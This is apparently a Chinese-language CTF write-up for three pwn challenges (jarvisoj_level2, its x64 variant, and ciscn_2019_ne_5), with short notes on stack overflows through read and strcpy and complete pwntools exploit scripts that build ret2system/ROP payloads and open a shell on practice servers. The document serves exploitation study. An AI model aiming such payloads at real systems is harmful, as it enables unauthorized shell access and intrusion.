jarvisoj_level2
32bit程序
主函数
跟进
可以利用read函数控制system函数getshell
程序中可以找到/bin/sh字符串
传参的时候需要逆着传
exp:
from pwn import*
#p = remote('42.192.4.123',8007)
p = remote('node3.buuoj.cn',25418)
bin_addr = 0x0804A024
sys_addr = 0x08048320
payload = 'a'* (0x88+4) + p32(sys_addr) + p32(0)+ p32(bin_addr)
p.sendline(payload)
p.interactive()
jarvisoj_level2_x64
64bit程序
因为64程序前6个是通过寄存器传参的
所以和32位程序的payload差一个pop rdi ret就可以了
exp:
from pwn import *
from LibcSearcher import *
p=remote('node3.buuoj.cn',27953)
binsh_addr = 0x0000000000600A90
sys_addr = 0x00000000004004C0
pop_rdi = 0x00000000004006b3
payload = 'a'*(0x80+8) + p64(pop_rdi) + p64(binsh_addr) + p64(sys_addr)
p.sendline(payload)
p.interactive()
ciscn_2019_ne_5
32位
思路:用scanf输入payload后通过strcpy溢出完成getshell
ida:
先通过选项1中的scanf输入payload
再进入选项4完成getshell
因为strcpy不限制长度,所以会栈溢出
程序中没有/bin/sh,但是可以找到sh,也一样可以getshell
exp:
from pwn import *
from LibcSearcher import *
context.arch = 'amd64'
p = remote('node3.buuoj.cn',29482)
#p = remote('127.0.0.1',12345)
sh_addr = 0x080482ea
sym_addr = 0x080484D0
p.sendlineafter('password:','administrator')
p.sendlineafter('Exit\n:','1')
payload = 'a'*(0x48+4) + p32(sym_addr) + 'aaaa' + p32(sh_addr)
p.sendlineafter('info:',payload)
p.sendlineafter('Exit\n:','4')
p.interactive()